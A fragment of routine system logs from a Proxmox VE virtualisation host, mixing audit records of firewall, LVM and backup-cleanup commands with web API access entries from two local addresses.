root@pam [20/06/2026:15:17:16 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 475"} {"@timestamp":1781965855894,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.894:67395): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964236046,"@rawstring":"node=pve type=EXECVE msg=audit(1781964236.046:60176): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965866059,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.059:67437): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e8310 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64768 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605178,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.178:66319): arch=c000003e syscall=59 success=yes exit=0 a0=597d314e2b20 a1=597d314eee40 a2=597d314bc680 a3=5 items=2 ppid=63691 pid=63697 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965036979,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:16 +0100] \"GET /api2/extjs/nodes/pve/vzdump/defaults?_dc=1781965035975&storage=local HTTP/1.1\" 200 394"} {"@timestamp":1781965855887,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.887:67394): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964236043,"@rawstring":"node=pve type=EXECVE msg=audit(1781964236.043:60175): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965866053,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.053:67436): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc101320 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64767 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605171,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.171:66318): arch=c000003e syscall=59 success=yes exit=0 a0=597cf78a6ac8 a1=7ffcc90d0820 a2=597d314bc680 a3=597cf788a24e items=2 ppid=63691 pid=63693 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965036979,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:16 +0100] \"GET /api2/json/nodes/pve/storage?format=1&content=backup HTTP/1.1\" 200 333"} {"@timestamp":1781965855881,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.881:67393): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964236041,"@rawstring":"node=pve type=EXECVE msg=audit(1781964236.041:60174): argc=1 a0=\"date\""} {"@timestamp":1781965866045,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.045:67435): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fd300 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64766 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605169,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.169:66317): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcc90d07e0 a1=597d314de1c0 a2=597d314bc680 a3=5 items=2 ppid=63691 pid=63692 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965036979,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:16 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965855872,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.872:67392): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964236037,"@rawstring":"node=pve type=EXECVE msg=audit(1781964236.037:60172): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965866037,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.037:67434): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64765 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605164,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.164:66315): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965036979,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:16 +0100] \"GET /api2/json/nodes/pve/storage/local/content?content=backup HTTP/1.1\" 200 11"} {"@timestamp":1781965855865,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.865:67391): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964236030,"@rawstring":"node=pve type=EXECVE msg=audit(1781964236.030:60171): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965866031,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.031:67433): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64764 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605153,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.153:66314): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63690 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965036979,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:15 +0100] \"GET /api2/json/nodes/pve/storage?format=1&content=backup HTTP/1.1\" 200 333"} {"@timestamp":1781965855861,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.861:67390): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964236024,"@rawstring":"node=pve type=EXECVE msg=audit(1781964236.024:60170): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965866026,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.026:67432): arch=c000003e syscall=59 success=yes exit=0 a0=63255a4c9b20 a1=63255a4d5e40 a2=63255a4a3680 a3=5 items=2 ppid=64757 pid=64763 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605144,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.144:66313): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63689 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965036979,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:15 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965855856,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.856:67389): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964236017,"@rawstring":"node=pve type=EXECVE msg=audit(1781964236.017:60169): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965866023,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.023:67431): arch=c000003e syscall=59 success=yes exit=0 a0=632534abdac8 a1=7ffed614bee0 a2=63255a4a3680 a3=632534aa124e items=2 ppid=64757 pid=64759 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605137,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.137:66312): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc101250 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63688 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965035462,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:14 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965855855,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.855:67388): argc=1 a0=\"date\""} {"@timestamp":1781964236011,"@rawstring":"node=pve type=EXECVE msg=audit(1781964236.011:60168): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965866022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.022:67430): arch=c000003e syscall=59 success=yes exit=0 a0=7ffed614bea0 a1=63255a4c51c0 a2=63255a4a3680 a3=5 items=2 ppid=64757 pid=64758 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605126,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.126:66311): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138810 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63687 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965034469,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:14 +0100] \"GET /api2/json/nodes/pve/qemu/877/rrddata?timeframe=hour&cf=AVERAGE HTTP/1.1\" 200 430"} {"@timestamp":1781965855851,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.851:67386): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964236005,"@rawstring":"node=pve type=EXECVE msg=audit(1781964236.005:60166): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965866018,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.018:67428): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64757 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605111,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.111:66310): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d950 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63686 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965034469,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965855841,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.841:67385): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964236001,"@rawstring":"node=pve type=EXECVE msg=audit(1781964236.001:60165): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965866010,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.010:67427): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64756 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965604542,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965604.542:66309): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1915e00 a1=64f8d740bf70 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63683 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965034469,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:13 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/config?_dc=1781965033214 HTTP/1.1\" 200 597"} {"@timestamp":1781965855833,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.833:67384): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964235996,"@rawstring":"node=pve type=EXECVE msg=audit(1781964235.996:60164): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965866003,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.003:67426): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64755 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965604515,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965604.515:66308): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ee190 a1=64f8d73d53b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63682 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965034469,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965855826,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.826:67383): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964235990,"@rawstring":"node=pve type=EXECVE msg=audit(1781964235.990:60163): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965865997,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965865.997:67425): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2ea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64754 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965603656,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965603.656:66307): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63681 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965034469,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:13 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 463"} {"@timestamp":1781965855818,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.818:67382): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964235984,"@rawstring":"node=pve type=EXECVE msg=audit(1781964235.984:60162): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965865989,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965865.989:67424): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc101350 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64753 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965603629,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965603.629:66304): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63680 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965034469,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:13 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 475"} {"@timestamp":1781965855809,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.809:67381): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964235980,"@rawstring":"node=pve type=EXECVE msg=audit(1781964235.980:60161): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965865980,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965865.980:67423): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f8ba0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64752 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965600622,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965600.622:66301): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253c40 a1=637ee7242ea0 a2=637ee7240ef0 a3=8 items=2 ppid=63675 pid=63677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965031239,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965854544,"@rawstring":"node=pve type=EXECVE msg=audit(1781965854.544:67380): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964235973,"@rawstring":"node=pve type=EXECVE msg=audit(1781964235.973:60160): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965864578,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965864.578:67422): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64751 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965600620,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965600.620:66300): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242ab0 a1=637ee7254330 a2=637ee7240ef0 a3=8 items=2 ppid=63675 pid=63676 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965031239,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965854535,"@rawstring":"node=pve type=EXECVE msg=audit(1781965854.535:67377): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964235966,"@rawstring":"node=pve type=EXECVE msg=audit(1781964235.966:60159): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965864568,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965864.568:67419): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64750 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965600618,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965600.618:66299): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72533a0 a1=637ee7254bb0 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=63674 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965031239,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:10 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 839"} {"@timestamp":1781965854175,"@rawstring":"node=pve type=EXECVE msg=audit(1781965854.175:67374): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964235963,"@rawstring":"node=pve type=EXECVE msg=audit(1781964235.963:60158): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965864346,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965864.346:67416): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b0ed0 a1=64f8d740f3a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64749 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965598619,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965598.619:66298): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63672 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965031239,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781965854147,"@rawstring":"node=pve type=EXECVE msg=audit(1781965854.147:67373): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964235960,"@rawstring":"node=pve type=EXECVE msg=audit(1781964235.960:60157): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965864307,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965864.307:67415): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73cd090 a1=64f8d6f88c80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64748 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965598612,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965598.612:66295): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63671 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965031239,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781965852807,"@rawstring":"node=pve type=EXECVE msg=audit(1781965852.807:67372): argc=3 a0=\"rm\" a1=\"-f\" a2=\"./vzdump-qemu-877.tar\""} {"@timestamp":1781964235958,"@rawstring":"node=pve type=EXECVE msg=audit(1781964235.958:60156): argc=1 a0=\"date\""} {"@timestamp":1781965859559,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965859.559:67414): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64743 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596095,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.095:66292): arch=c000003e syscall=59 success=yes exit=0 a0=5ee00f1fd0e0 a1=5ee00f1f9e60 a2=5ee00f1db680 a3=5 items=2 ppid=63664 pid=63670 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965028932,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965849526,"@rawstring":"node=pve type=EXECVE msg=audit(1781965849.526:67371): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964235955,"@rawstring":"node=pve type=EXECVE msg=audit(1781964235.955:60154): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965859551,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965859.551:67411): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 